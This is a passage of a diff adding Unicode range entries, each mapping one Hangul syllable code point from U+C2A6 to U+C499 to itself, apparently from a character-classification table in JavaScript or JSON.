+ ["\uC2A6", "\uC2A6"], /* Hangul Syllable */
+ ["\uC2A7", "\uC2A7"], /* Hangul Syllable */
+ ["\uC2A8", "\uC2A8"], /* Hangul Syllable */
+ ["\uC2A9", "\uC2A9"], /* Hangul Syllable */
+ ["\uC2AA", "\uC2AA"], /* Hangul Syllable */
+ ["\uC2AB", "\uC2AB"], /* Hangul Syllable */
+ ["\uC2AC", "\uC2AC"], /* Hangul Syllable */
+ ["\uC2AD", "\uC2AD"], /* Hangul Syllable */
+ ["\uC2AE", "\uC2AE"], /* Hangul Syllable */
+ ["\uC2AF", "\uC2AF"], /* Hangul Syllable */
+ ["\uC2B0", "\uC2B0"], /* Hangul Syllable */
+ ["\uC2B1", "\uC2B1"], /* Hangul Syllable */
+ ["\uC2B2", "\uC2B2"], /* Hangul Syllable */
+ ["\uC2B3", "\uC2B3"], /* Hangul Syllable */
+ ["\uC2B4", "\uC2B4"], /* Hangul Syllable */
+ ["\uC2B5", "\uC2B5"], /* Hangul Syllable */
+ ["\uC2B6", "\uC2B6"], /* Hangul Syllable */
+ ["\uC2B7", "\uC2B7"], /* Hangul Syllable */
+ ["\uC2B8", "\uC2B8"], /* Hangul Syllable */
+ ["\uC2B9", "\uC2B9"], /* Hangul Syllable */
+ ["\uC2BA", "\uC2BA"], /* Hangul Syllable */
+ ["\uC2BB", "\uC2BB"], /* Hangul Syllable */
+ ["\uC2BC", "\uC2BC"], /* Hangul Syllable */
+ ["\uC2BD", "\uC2BD"], /* Hangul Syllable */
+ ["\uC2BE", "\uC2BE"], /* Hangul Syllable */
+ ["\uC2BF", "\uC2BF"], /* Hangul Syllable */
+ ["\uC2C0", "\uC2C0"], /* Hangul Syllable */
+ ["\uC2C1", "\uC2C1"], /* Hangul Syllable */
+ ["\uC2C2", "\uC2C2"], /* Hangul Syllable */
+ ["\uC2C3", "\uC2C3"], /* Hangul Syllable */
+ ["\uC2C4", "\uC2C4"], /* Hangul Syllable */
+ ["\uC2C5", "\uC2C5"], /* Hangul Syllable */
+ ["\uC2C6", "\uC2C6"], /* Hangul Syllable */
+ ["\uC2C7", "\uC2C7"], /* Hangul Syllable */
+ ["\uC2C8", "\uC2C8"], /* Hangul Syllable */
+ ["\uC2C9", "\uC2C9"], /* Hangul Syllable */
+ ["\uC2CA", "\uC2CA"], /* Hangul Syllable */
+ ["\uC2CB", "\uC2CB"], /* Hangul Syllable */
+ ["\uC2CC", "\uC2CC"], /* Hangul Syllable */
+ ["\uC2CD", "\uC2CD"], /* Hangul Syllable */
+ ["\uC2CE", "\uC2CE"], /* Hangul Syllable */
+ ["\uC2CF", "\uC2CF"], /* Hangul Syllable */
+ ["\uC2D0", "\uC2D0"], /* Hangul Syllable */
+ ["\uC2D1", "\uC2D1"], /* Hangul Syllable */
+ ["\uC2D2", "\uC2D2"], /* Hangul Syllable */
+ ["\uC2D3", "\uC2D3"], /* Hangul Syllable */
+ ["\uC2D4", "\uC2D4"], /* Hangul Syllable */
+ ["\uC2D5", "\uC2D5"], /* Hangul Syllable */
+ ["\uC2D6", "\uC2D6"], /* Hangul Syllable */
+ ["\uC2D7", "\uC2D7"], /* Hangul Syllable */
+ ["\uC2D8", "\uC2D8"], /* Hangul Syllable */
+ ["\uC2D9", "\uC2D9"], /* Hangul Syllable */
+ ["\uC2DA", "\uC2DA"], /* Hangul Syllable */
+ ["\uC2DB", "\uC2DB"], /* Hangul Syllable */
+ ["\uC2DC", "\uC2DC"], /* Hangul Syllable */
+ ["\uC2DD", "\uC2DD"], /* Hangul Syllable */
+ ["\uC2DE", "\uC2DE"], /* Hangul Syllable */
+ ["\uC2DF", "\uC2DF"], /* Hangul Syllable */
+ ["\uC2E0", "\uC2E0"], /* Hangul Syllable */
+ ["\uC2E1", "\uC2E1"], /* Hangul Syllable */
+ ["\uC2E2", "\uC2E2"], /* Hangul Syllable */
+ ["\uC2E3", "\uC2E3"], /* Hangul Syllable */
+ ["\uC2E4", "\uC2E4"], /* Hangul Syllable */
+ ["\uC2E5", "\uC2E5"], /* Hangul Syllable */
+ ["\uC2E6", "\uC2E6"], /* Hangul Syllable */
+ ["\uC2E7", "\uC2E7"], /* Hangul Syllable */
+ ["\uC2E8", "\uC2E8"], /* Hangul Syllable */
+ ["\uC2E9", "\uC2E9"], /* Hangul Syllable */
+ ["\uC2EA", "\uC2EA"], /* Hangul Syllable */
+ ["\uC2EB", "\uC2EB"], /* Hangul Syllable */
+ ["\uC2EC", "\uC2EC"], /* Hangul Syllable */
+ ["\uC2ED", "\uC2ED"], /* Hangul Syllable */
+ ["\uC2EE", "\uC2EE"], /* Hangul Syllable */
+ ["\uC2EF", "\uC2EF"], /* Hangul Syllable */
+ ["\uC2F0", "\uC2F0"], /* Hangul Syllable */
+ ["\uC2F1", "\uC2F1"], /* Hangul Syllable */
+ ["\uC2F2", "\uC2F2"], /* Hangul Syllable */
+ ["\uC2F3", "\uC2F3"], /* Hangul Syllable */
+ ["\uC2F4", "\uC2F4"], /* Hangul Syllable */
+ ["\uC2F5", "\uC2F5"], /* Hangul Syllable */
+ ["\uC2F6", "\uC2F6"], /* Hangul Syllable */
+ ["\uC2F7", "\uC2F7"], /* Hangul Syllable */
+ ["\uC2F8", "\uC2F8"], /* Hangul Syllable */
+ ["\uC2F9", "\uC2F9"], /* Hangul Syllable */
+ ["\uC2FA", "\uC2FA"], /* Hangul Syllable */
+ ["\uC2FB", "\uC2FB"], /* Hangul Syllable */
+ ["\uC2FC", "\uC2FC"], /* Hangul Syllable */
+ ["\uC2FD", "\uC2FD"], /* Hangul Syllable */
+ ["\uC2FE", "\uC2FE"], /* Hangul Syllable */
+ ["\uC2FF", "\uC2FF"], /* Hangul Syllable */
+ ["\uC300", "\uC300"], /* Hangul Syllable */
+ ["\uC301", "\uC301"], /* Hangul Syllable */
+ ["\uC302", "\uC302"], /* Hangul Syllable */
+ ["\uC303", "\uC303"], /* Hangul Syllable */
+ ["\uC304", "\uC304"], /* Hangul Syllable */
+ ["\uC305", "\uC305"], /* Hangul Syllable */
+ ["\uC306", "\uC306"], /* Hangul Syllable */
+ ["\uC307", "\uC307"], /* Hangul Syllable */
+ ["\uC308", "\uC308"], /* Hangul Syllable */
+ ["\uC309", "\uC309"], /* Hangul Syllable */
+ ["\uC30A", "\uC30A"], /* Hangul Syllable */
+ ["\uC30B", "\uC30B"], /* Hangul Syllable */
+ ["\uC30C", "\uC30C"], /* Hangul Syllable */
+ ["\uC30D", "\uC30D"], /* Hangul Syllable */
+ ["\uC30E", "\uC30E"], /* Hangul Syllable */
+ ["\uC30F", "\uC30F"], /* Hangul Syllable */
+ ["\uC310", "\uC310"], /* Hangul Syllable */
+ ["\uC311", "\uC311"], /* Hangul Syllable */
+ ["\uC312", "\uC312"], /* Hangul Syllable */
+ ["\uC313", "\uC313"], /* Hangul Syllable */
+ ["\uC314", "\uC314"], /* Hangul Syllable */
+ ["\uC315", "\uC315"], /* Hangul Syllable */
+ ["\uC316", "\uC316"], /* Hangul Syllable */
+ ["\uC317", "\uC317"], /* Hangul Syllable */
+ ["\uC318", "\uC318"], /* Hangul Syllable */
+ ["\uC319", "\uC319"], /* Hangul Syllable */
+ ["\uC31A", "\uC31A"], /* Hangul Syllable */
+ ["\uC31B", "\uC31B"], /* Hangul Syllable */
+ ["\uC31C", "\uC31C"], /* Hangul Syllable */
+ ["\uC31D", "\uC31D"], /* Hangul Syllable */
+ ["\uC31E", "\uC31E"], /* Hangul Syllable */
+ ["\uC31F", "\uC31F"], /* Hangul Syllable */
+ ["\uC320", "\uC320"], /* Hangul Syllable */
+ ["\uC321", "\uC321"], /* Hangul Syllable */
+ ["\uC322", "\uC322"], /* Hangul Syllable */
+ ["\uC323", "\uC323"], /* Hangul Syllable */
+ ["\uC324", "\uC324"], /* Hangul Syllable */
+ ["\uC325", "\uC325"], /* Hangul Syllable */
+ ["\uC326", "\uC326"], /* Hangul Syllable */
+ ["\uC327", "\uC327"], /* Hangul Syllable */
+ ["\uC328", "\uC328"], /* Hangul Syllable */
+ ["\uC329", "\uC329"], /* Hangul Syllable */
+ ["\uC32A", "\uC32A"], /* Hangul Syllable */
+ ["\uC32B", "\uC32B"], /* Hangul Syllable */
+ ["\uC32C", "\uC32C"], /* Hangul Syllable */
+ ["\uC32D", "\uC32D"], /* Hangul Syllable */
+ ["\uC32E", "\uC32E"], /* Hangul Syllable */
+ ["\uC32F", "\uC32F"], /* Hangul Syllable */
+ ["\uC330", "\uC330"], /* Hangul Syllable */
+ ["\uC331", "\uC331"], /* Hangul Syllable */
+ ["\uC332", "\uC332"], /* Hangul Syllable */
+ ["\uC333", "\uC333"], /* Hangul Syllable */
+ ["\uC334", "\uC334"], /* Hangul Syllable */
+ ["\uC335", "\uC335"], /* Hangul Syllable */
+ ["\uC336", "\uC336"], /* Hangul Syllable */
+ ["\uC337", "\uC337"], /* Hangul Syllable */
+ ["\uC338", "\uC338"], /* Hangul Syllable */
+ ["\uC339", "\uC339"], /* Hangul Syllable */
+ ["\uC33A", "\uC33A"], /* Hangul Syllable */
+ ["\uC33B", "\uC33B"], /* Hangul Syllable */
+ ["\uC33C", "\uC33C"], /* Hangul Syllable */
+ ["\uC33D", "\uC33D"], /* Hangul Syllable */
+ ["\uC33E", "\uC33E"], /* Hangul Syllable */
+ ["\uC33F", "\uC33F"], /* Hangul Syllable */
+ ["\uC340", "\uC340"], /* Hangul Syllable */
+ ["\uC341", "\uC341"], /* Hangul Syllable */
+ ["\uC342", "\uC342"], /* Hangul Syllable */
+ ["\uC343", "\uC343"], /* Hangul Syllable */
+ ["\uC344", "\uC344"], /* Hangul Syllable */
+ ["\uC345", "\uC345"], /* Hangul Syllable */
+ ["\uC346", "\uC346"], /* Hangul Syllable */
+ ["\uC347", "\uC347"], /* Hangul Syllable */
+ ["\uC348", "\uC348"], /* Hangul Syllable */
+ ["\uC349", "\uC349"], /* Hangul Syllable */
+ ["\uC34A", "\uC34A"], /* Hangul Syllable */
+ ["\uC34B", "\uC34B"], /* Hangul Syllable */
+ ["\uC34C", "\uC34C"], /* Hangul Syllable */
+ ["\uC34D", "\uC34D"], /* Hangul Syllable */
+ ["\uC34E", "\uC34E"], /* Hangul Syllable */
+ ["\uC34F", "\uC34F"], /* Hangul Syllable */
+ ["\uC350", "\uC350"], /* Hangul Syllable */
+ ["\uC351", "\uC351"], /* Hangul Syllable */
+ ["\uC352", "\uC352"], /* Hangul Syllable */
+ ["\uC353", "\uC353"], /* Hangul Syllable */
+ ["\uC354", "\uC354"], /* Hangul Syllable */
+ ["\uC355", "\uC355"], /* Hangul Syllable */
+ ["\uC356", "\uC356"], /* Hangul Syllable */
+ ["\uC357", "\uC357"], /* Hangul Syllable */
+ ["\uC358", "\uC358"], /* Hangul Syllable */
+ ["\uC359", "\uC359"], /* Hangul Syllable */
+ ["\uC35A", "\uC35A"], /* Hangul Syllable */
+ ["\uC35B", "\uC35B"], /* Hangul Syllable */
+ ["\uC35C", "\uC35C"], /* Hangul Syllable */
+ ["\uC35D", "\uC35D"], /* Hangul Syllable */
+ ["\uC35E", "\uC35E"], /* Hangul Syllable */
+ ["\uC35F", "\uC35F"], /* Hangul Syllable */
+ ["\uC360", "\uC360"], /* Hangul Syllable */
+ ["\uC361", "\uC361"], /* Hangul Syllable */
+ ["\uC362", "\uC362"], /* Hangul Syllable */
+ ["\uC363", "\uC363"], /* Hangul Syllable */
+ ["\uC364", "\uC364"], /* Hangul Syllable */
+ ["\uC365", "\uC365"], /* Hangul Syllable */
+ ["\uC366", "\uC366"], /* Hangul Syllable */
+ ["\uC367", "\uC367"], /* Hangul Syllable */
+ ["\uC368", "\uC368"], /* Hangul Syllable */
+ ["\uC369", "\uC369"], /* Hangul Syllable */
+ ["\uC36A", "\uC36A"], /* Hangul Syllable */
+ ["\uC36B", "\uC36B"], /* Hangul Syllable */
+ ["\uC36C", "\uC36C"], /* Hangul Syllable */
+ ["\uC36D", "\uC36D"], /* Hangul Syllable */
+ ["\uC36E", "\uC36E"], /* Hangul Syllable */
+ ["\uC36F", "\uC36F"], /* Hangul Syllable */
+ ["\uC370", "\uC370"], /* Hangul Syllable */
+ ["\uC371", "\uC371"], /* Hangul Syllable */
+ ["\uC372", "\uC372"], /* Hangul Syllable */
+ ["\uC373", "\uC373"], /* Hangul Syllable */
+ ["\uC374", "\uC374"], /* Hangul Syllable */
+ ["\uC375", "\uC375"], /* Hangul Syllable */
+ ["\uC376", "\uC376"], /* Hangul Syllable */
+ ["\uC377", "\uC377"], /* Hangul Syllable */
+ ["\uC378", "\uC378"], /* Hangul Syllable */
+ ["\uC379", "\uC379"], /* Hangul Syllable */
+ ["\uC37A", "\uC37A"], /* Hangul Syllable */
+ ["\uC37B", "\uC37B"], /* Hangul Syllable */
+ ["\uC37C", "\uC37C"], /* Hangul Syllable */
+ ["\uC37D", "\uC37D"], /* Hangul Syllable */
+ ["\uC37E", "\uC37E"], /* Hangul Syllable */
+ ["\uC37F", "\uC37F"], /* Hangul Syllable */
+ ["\uC380", "\uC380"], /* Hangul Syllable */
+ ["\uC381", "\uC381"], /* Hangul Syllable */
+ ["\uC382", "\uC382"], /* Hangul Syllable */
+ ["\uC383", "\uC383"], /* Hangul Syllable */
+ ["\uC384", "\uC384"], /* Hangul Syllable */
+ ["\uC385", "\uC385"], /* Hangul Syllable */
+ ["\uC386", "\uC386"], /* Hangul Syllable */
+ ["\uC387", "\uC387"], /* Hangul Syllable */
+ ["\uC388", "\uC388"], /* Hangul Syllable */
+ ["\uC389", "\uC389"], /* Hangul Syllable */
+ ["\uC38A", "\uC38A"], /* Hangul Syllable */
+ ["\uC38B", "\uC38B"], /* Hangul Syllable */
+ ["\uC38C", "\uC38C"], /* Hangul Syllable */
+ ["\uC38D", "\uC38D"], /* Hangul Syllable */
+ ["\uC38E", "\uC38E"], /* Hangul Syllable */
+ ["\uC38F", "\uC38F"], /* Hangul Syllable */
+ ["\uC390", "\uC390"], /* Hangul Syllable */
+ ["\uC391", "\uC391"], /* Hangul Syllable */
+ ["\uC392", "\uC392"], /* Hangul Syllable */
+ ["\uC393", "\uC393"], /* Hangul Syllable */
+ ["\uC394", "\uC394"], /* Hangul Syllable */
+ ["\uC395", "\uC395"], /* Hangul Syllable */
+ ["\uC396", "\uC396"], /* Hangul Syllable */
+ ["\uC397", "\uC397"], /* Hangul Syllable */
+ ["\uC398", "\uC398"], /* Hangul Syllable */
+ ["\uC399", "\uC399"], /* Hangul Syllable */
+ ["\uC39A", "\uC39A"], /* Hangul Syllable */
+ ["\uC39B", "\uC39B"], /* Hangul Syllable */
+ ["\uC39C", "\uC39C"], /* Hangul Syllable */
+ ["\uC39D", "\uC39D"], /* Hangul Syllable */
+ ["\uC39E", "\uC39E"], /* Hangul Syllable */
+ ["\uC39F", "\uC39F"], /* Hangul Syllable */
+ ["\uC3A0", "\uC3A0"], /* Hangul Syllable */
+ ["\uC3A1", "\uC3A1"], /* Hangul Syllable */
+ ["\uC3A2", "\uC3A2"], /* Hangul Syllable */
+ ["\uC3A3", "\uC3A3"], /* Hangul Syllable */
+ ["\uC3A4", "\uC3A4"], /* Hangul Syllable */
+ ["\uC3A5", "\uC3A5"], /* Hangul Syllable */
+ ["\uC3A6", "\uC3A6"], /* Hangul Syllable */
+ ["\uC3A7", "\uC3A7"], /* Hangul Syllable */
+ ["\uC3A8", "\uC3A8"], /* Hangul Syllable */
+ ["\uC3A9", "\uC3A9"], /* Hangul Syllable */
+ ["\uC3AA", "\uC3AA"], /* Hangul Syllable */
+ ["\uC3AB", "\uC3AB"], /* Hangul Syllable */
+ ["\uC3AC", "\uC3AC"], /* Hangul Syllable */
+ ["\uC3AD", "\uC3AD"], /* Hangul Syllable */
+ ["\uC3AE", "\uC3AE"], /* Hangul Syllable */
+ ["\uC3AF", "\uC3AF"], /* Hangul Syllable */
+ ["\uC3B0", "\uC3B0"], /* Hangul Syllable */
+ ["\uC3B1", "\uC3B1"], /* Hangul Syllable */
+ ["\uC3B2", "\uC3B2"], /* Hangul Syllable */
+ ["\uC3B3", "\uC3B3"], /* Hangul Syllable */
+ ["\uC3B4", "\uC3B4"], /* Hangul Syllable */
+ ["\uC3B5", "\uC3B5"], /* Hangul Syllable */
+ ["\uC3B6", "\uC3B6"], /* Hangul Syllable */
+ ["\uC3B7", "\uC3B7"], /* Hangul Syllable */
+ ["\uC3B8", "\uC3B8"], /* Hangul Syllable */
+ ["\uC3B9", "\uC3B9"], /* Hangul Syllable */
+ ["\uC3BA", "\uC3BA"], /* Hangul Syllable */
+ ["\uC3BB", "\uC3BB"], /* Hangul Syllable */
+ ["\uC3BC", "\uC3BC"], /* Hangul Syllable */
+ ["\uC3BD", "\uC3BD"], /* Hangul Syllable */
+ ["\uC3BE", "\uC3BE"], /* Hangul Syllable */
+ ["\uC3BF", "\uC3BF"], /* Hangul Syllable */
+ ["\uC3C0", "\uC3C0"], /* Hangul Syllable */
+ ["\uC3C1", "\uC3C1"], /* Hangul Syllable */
+ ["\uC3C2", "\uC3C2"], /* Hangul Syllable */
+ ["\uC3C3", "\uC3C3"], /* Hangul Syllable */
+ ["\uC3C4", "\uC3C4"], /* Hangul Syllable */
+ ["\uC3C5", "\uC3C5"], /* Hangul Syllable */
+ ["\uC3C6", "\uC3C6"], /* Hangul Syllable */
+ ["\uC3C7", "\uC3C7"], /* Hangul Syllable */
+ ["\uC3C8", "\uC3C8"], /* Hangul Syllable */
+ ["\uC3C9", "\uC3C9"], /* Hangul Syllable */
+ ["\uC3CA", "\uC3CA"], /* Hangul Syllable */
+ ["\uC3CB", "\uC3CB"], /* Hangul Syllable */
+ ["\uC3CC", "\uC3CC"], /* Hangul Syllable */
+ ["\uC3CD", "\uC3CD"], /* Hangul Syllable */
+ ["\uC3CE", "\uC3CE"], /* Hangul Syllable */
+ ["\uC3CF", "\uC3CF"], /* Hangul Syllable */
+ ["\uC3D0", "\uC3D0"], /* Hangul Syllable */
+ ["\uC3D1", "\uC3D1"], /* Hangul Syllable */
+ ["\uC3D2", "\uC3D2"], /* Hangul Syllable */
+ ["\uC3D3", "\uC3D3"], /* Hangul Syllable */
+ ["\uC3D4", "\uC3D4"], /* Hangul Syllable */
+ ["\uC3D5", "\uC3D5"], /* Hangul Syllable */
+ ["\uC3D6", "\uC3D6"], /* Hangul Syllable */
+ ["\uC3D7", "\uC3D7"], /* Hangul Syllable */
+ ["\uC3D8", "\uC3D8"], /* Hangul Syllable */
+ ["\uC3D9", "\uC3D9"], /* Hangul Syllable */
+ ["\uC3DA", "\uC3DA"], /* Hangul Syllable */
+ ["\uC3DB", "\uC3DB"], /* Hangul Syllable */
+ ["\uC3DC", "\uC3DC"], /* Hangul Syllable */
+ ["\uC3DD", "\uC3DD"], /* Hangul Syllable */
+ ["\uC3DE", "\uC3DE"], /* Hangul Syllable */
+ ["\uC3DF", "\uC3DF"], /* Hangul Syllable */
+ ["\uC3E0", "\uC3E0"], /* Hangul Syllable */
+ ["\uC3E1", "\uC3E1"], /* Hangul Syllable */
+ ["\uC3E2", "\uC3E2"], /* Hangul Syllable */
+ ["\uC3E3", "\uC3E3"], /* Hangul Syllable */
+ ["\uC3E4", "\uC3E4"], /* Hangul Syllable */
+ ["\uC3E5", "\uC3E5"], /* Hangul Syllable */
+ ["\uC3E6", "\uC3E6"], /* Hangul Syllable */
+ ["\uC3E7", "\uC3E7"], /* Hangul Syllable */
+ ["\uC3E8", "\uC3E8"], /* Hangul Syllable */
+ ["\uC3E9", "\uC3E9"], /* Hangul Syllable */
+ ["\uC3EA", "\uC3EA"], /* Hangul Syllable */
+ ["\uC3EB", "\uC3EB"], /* Hangul Syllable */
+ ["\uC3EC", "\uC3EC"], /* Hangul Syllable */
+ ["\uC3ED", "\uC3ED"], /* Hangul Syllable */
+ ["\uC3EE", "\uC3EE"], /* Hangul Syllable */
+ ["\uC3EF", "\uC3EF"], /* Hangul Syllable */
+ ["\uC3F0", "\uC3F0"], /* Hangul Syllable */
+ ["\uC3F1", "\uC3F1"], /* Hangul Syllable */
+ ["\uC3F2", "\uC3F2"], /* Hangul Syllable */
+ ["\uC3F3", "\uC3F3"], /* Hangul Syllable */
+ ["\uC3F4", "\uC3F4"], /* Hangul Syllable */
+ ["\uC3F5", "\uC3F5"], /* Hangul Syllable */
+ ["\uC3F6", "\uC3F6"], /* Hangul Syllable */
+ ["\uC3F7", "\uC3F7"], /* Hangul Syllable */
+ ["\uC3F8", "\uC3F8"], /* Hangul Syllable */
+ ["\uC3F9", "\uC3F9"], /* Hangul Syllable */
+ ["\uC3FA", "\uC3FA"], /* Hangul Syllable */
+ ["\uC3FB", "\uC3FB"], /* Hangul Syllable */
+ ["\uC3FC", "\uC3FC"], /* Hangul Syllable */
+ ["\uC3FD", "\uC3FD"], /* Hangul Syllable */
+ ["\uC3FE", "\uC3FE"], /* Hangul Syllable */
+ ["\uC3FF", "\uC3FF"], /* Hangul Syllable */
+ ["\uC400", "\uC400"], /* Hangul Syllable */
+ ["\uC401", "\uC401"], /* Hangul Syllable */
+ ["\uC402", "\uC402"], /* Hangul Syllable */
+ ["\uC403", "\uC403"], /* Hangul Syllable */
+ ["\uC404", "\uC404"], /* Hangul Syllable */
+ ["\uC405", "\uC405"], /* Hangul Syllable */
+ ["\uC406", "\uC406"], /* Hangul Syllable */
+ ["\uC407", "\uC407"], /* Hangul Syllable */
+ ["\uC408", "\uC408"], /* Hangul Syllable */
+ ["\uC409", "\uC409"], /* Hangul Syllable */
+ ["\uC40A", "\uC40A"], /* Hangul Syllable */
+ ["\uC40B", "\uC40B"], /* Hangul Syllable */
+ ["\uC40C", "\uC40C"], /* Hangul Syllable */
+ ["\uC40D", "\uC40D"], /* Hangul Syllable */
+ ["\uC40E", "\uC40E"], /* Hangul Syllable */
+ ["\uC40F", "\uC40F"], /* Hangul Syllable */
+ ["\uC410", "\uC410"], /* Hangul Syllable */
+ ["\uC411", "\uC411"], /* Hangul Syllable */
+ ["\uC412", "\uC412"], /* Hangul Syllable */
+ ["\uC413", "\uC413"], /* Hangul Syllable */
+ ["\uC414", "\uC414"], /* Hangul Syllable */
+ ["\uC415", "\uC415"], /* Hangul Syllable */
+ ["\uC416", "\uC416"], /* Hangul Syllable */
+ ["\uC417", "\uC417"], /* Hangul Syllable */
+ ["\uC418", "\uC418"], /* Hangul Syllable */
+ ["\uC419", "\uC419"], /* Hangul Syllable */
+ ["\uC41A", "\uC41A"], /* Hangul Syllable */
+ ["\uC41B", "\uC41B"], /* Hangul Syllable */
+ ["\uC41C", "\uC41C"], /* Hangul Syllable */
+ ["\uC41D", "\uC41D"], /* Hangul Syllable */
+ ["\uC41E", "\uC41E"], /* Hangul Syllable */
+ ["\uC41F", "\uC41F"], /* Hangul Syllable */
+ ["\uC420", "\uC420"], /* Hangul Syllable */
+ ["\uC421", "\uC421"], /* Hangul Syllable */
+ ["\uC422", "\uC422"], /* Hangul Syllable */
+ ["\uC423", "\uC423"], /* Hangul Syllable */
+ ["\uC424", "\uC424"], /* Hangul Syllable */
+ ["\uC425", "\uC425"], /* Hangul Syllable */
+ ["\uC426", "\uC426"], /* Hangul Syllable */
+ ["\uC427", "\uC427"], /* Hangul Syllable */
+ ["\uC428", "\uC428"], /* Hangul Syllable */
+ ["\uC429", "\uC429"], /* Hangul Syllable */
+ ["\uC42A", "\uC42A"], /* Hangul Syllable */
+ ["\uC42B", "\uC42B"], /* Hangul Syllable */
+ ["\uC42C", "\uC42C"], /* Hangul Syllable */
+ ["\uC42D", "\uC42D"], /* Hangul Syllable */
+ ["\uC42E", "\uC42E"], /* Hangul Syllable */
+ ["\uC42F", "\uC42F"], /* Hangul Syllable */
+ ["\uC430", "\uC430"], /* Hangul Syllable */
+ ["\uC431", "\uC431"], /* Hangul Syllable */
+ ["\uC432", "\uC432"], /* Hangul Syllable */
+ ["\uC433", "\uC433"], /* Hangul Syllable */
+ ["\uC434", "\uC434"], /* Hangul Syllable */
+ ["\uC435", "\uC435"], /* Hangul Syllable */
+ ["\uC436", "\uC436"], /* Hangul Syllable */
+ ["\uC437", "\uC437"], /* Hangul Syllable */
+ ["\uC438", "\uC438"], /* Hangul Syllable */
+ ["\uC439", "\uC439"], /* Hangul Syllable */
+ ["\uC43A", "\uC43A"], /* Hangul Syllable */
+ ["\uC43B", "\uC43B"], /* Hangul Syllable */
+ ["\uC43C", "\uC43C"], /* Hangul Syllable */
+ ["\uC43D", "\uC43D"], /* Hangul Syllable */
+ ["\uC43E", "\uC43E"], /* Hangul Syllable */
+ ["\uC43F", "\uC43F"], /* Hangul Syllable */
+ ["\uC440", "\uC440"], /* Hangul Syllable */
+ ["\uC441", "\uC441"], /* Hangul Syllable */
+ ["\uC442", "\uC442"], /* Hangul Syllable */
+ ["\uC443", "\uC443"], /* Hangul Syllable */
+ ["\uC444", "\uC444"], /* Hangul Syllable */
+ ["\uC445", "\uC445"], /* Hangul Syllable */
+ ["\uC446", "\uC446"], /* Hangul Syllable */
+ ["\uC447", "\uC447"], /* Hangul Syllable */
+ ["\uC448", "\uC448"], /* Hangul Syllable */
+ ["\uC449", "\uC449"], /* Hangul Syllable */
+ ["\uC44A", "\uC44A"], /* Hangul Syllable */
+ ["\uC44B", "\uC44B"], /* Hangul Syllable */
+ ["\uC44C", "\uC44C"], /* Hangul Syllable */
+ ["\uC44D", "\uC44D"], /* Hangul Syllable */
+ ["\uC44E", "\uC44E"], /* Hangul Syllable */
+ ["\uC44F", "\uC44F"], /* Hangul Syllable */
+ ["\uC450", "\uC450"], /* Hangul Syllable */
+ ["\uC451", "\uC451"], /* Hangul Syllable */
+ ["\uC452", "\uC452"], /* Hangul Syllable */
+ ["\uC453", "\uC453"], /* Hangul Syllable */
+ ["\uC454", "\uC454"], /* Hangul Syllable */
+ ["\uC455", "\uC455"], /* Hangul Syllable */
+ ["\uC456", "\uC456"], /* Hangul Syllable */
+ ["\uC457", "\uC457"], /* Hangul Syllable */
+ ["\uC458", "\uC458"], /* Hangul Syllable */
+ ["\uC459", "\uC459"], /* Hangul Syllable */
+ ["\uC45A", "\uC45A"], /* Hangul Syllable */
+ ["\uC45B", "\uC45B"], /* Hangul Syllable */
+ ["\uC45C", "\uC45C"], /* Hangul Syllable */
+ ["\uC45D", "\uC45D"], /* Hangul Syllable */
+ ["\uC45E", "\uC45E"], /* Hangul Syllable */
+ ["\uC45F", "\uC45F"], /* Hangul Syllable */
+ ["\uC460", "\uC460"], /* Hangul Syllable */
+ ["\uC461", "\uC461"], /* Hangul Syllable */
+ ["\uC462", "\uC462"], /* Hangul Syllable */
+ ["\uC463", "\uC463"], /* Hangul Syllable */
+ ["\uC464", "\uC464"], /* Hangul Syllable */
+ ["\uC465", "\uC465"], /* Hangul Syllable */
+ ["\uC466", "\uC466"], /* Hangul Syllable */
+ ["\uC467", "\uC467"], /* Hangul Syllable */
+ ["\uC468", "\uC468"], /* Hangul Syllable */
+ ["\uC469", "\uC469"], /* Hangul Syllable */
+ ["\uC46A", "\uC46A"], /* Hangul Syllable */
+ ["\uC46B", "\uC46B"], /* Hangul Syllable */
+ ["\uC46C", "\uC46C"], /* Hangul Syllable */
+ ["\uC46D", "\uC46D"], /* Hangul Syllable */
+ ["\uC46E", "\uC46E"], /* Hangul Syllable */
+ ["\uC46F", "\uC46F"], /* Hangul Syllable */
+ ["\uC470", "\uC470"], /* Hangul Syllable */
+ ["\uC471", "\uC471"], /* Hangul Syllable */
+ ["\uC472", "\uC472"], /* Hangul Syllable */
+ ["\uC473", "\uC473"], /* Hangul Syllable */
+ ["\uC474", "\uC474"], /* Hangul Syllable */
+ ["\uC475", "\uC475"], /* Hangul Syllable */
+ ["\uC476", "\uC476"], /* Hangul Syllable */
+ ["\uC477", "\uC477"], /* Hangul Syllable */
+ ["\uC478", "\uC478"], /* Hangul Syllable */
+ ["\uC479", "\uC479"], /* Hangul Syllable */
+ ["\uC47A", "\uC47A"], /* Hangul Syllable */
+ ["\uC47B", "\uC47B"], /* Hangul Syllable */
+ ["\uC47C", "\uC47C"], /* Hangul Syllable */
+ ["\uC47D", "\uC47D"], /* Hangul Syllable */
+ ["\uC47E", "\uC47E"], /* Hangul Syllable */
+ ["\uC47F", "\uC47F"], /* Hangul Syllable */
+ ["\uC480", "\uC480"], /* Hangul Syllable */
+ ["\uC481", "\uC481"], /* Hangul Syllable */
+ ["\uC482", "\uC482"], /* Hangul Syllable */
+ ["\uC483", "\uC483"], /* Hangul Syllable */
+ ["\uC484", "\uC484"], /* Hangul Syllable */
+ ["\uC485", "\uC485"], /* Hangul Syllable */
+ ["\uC486", "\uC486"], /* Hangul Syllable */
+ ["\uC487", "\uC487"], /* Hangul Syllable */
+ ["\uC488", "\uC488"], /* Hangul Syllable */
+ ["\uC489", "\uC489"], /* Hangul Syllable */
+ ["\uC48A", "\uC48A"], /* Hangul Syllable */
+ ["\uC48B", "\uC48B"], /* Hangul Syllable */
+ ["\uC48C", "\uC48C"], /* Hangul Syllable */
+ ["\uC48D", "\uC48D"], /* Hangul Syllable */
+ ["\uC48E", "\uC48E"], /* Hangul Syllable */
+ ["\uC48F", "\uC48F"], /* Hangul Syllable */
+ ["\uC490", "\uC490"], /* Hangul Syllable */
+ ["\uC491", "\uC491"], /* Hangul Syllable */
+ ["\uC492", "\uC492"], /* Hangul Syllable */
+ ["\uC493", "\uC493"], /* Hangul Syllable */
+ ["\uC494", "\uC494"], /* Hangul Syllable */
+ ["\uC495", "\uC495"], /* Hangul Syllable */
+ ["\uC496", "\uC496"], /* Hangul Syllable */
+ ["\uC497", "\uC497"], /* Hangul Syllable */
+ ["\uC498", "\uC498"], /* Hangul Syllable */
+ ["\uC499", "\uC499"], /* Hangul Syllable */
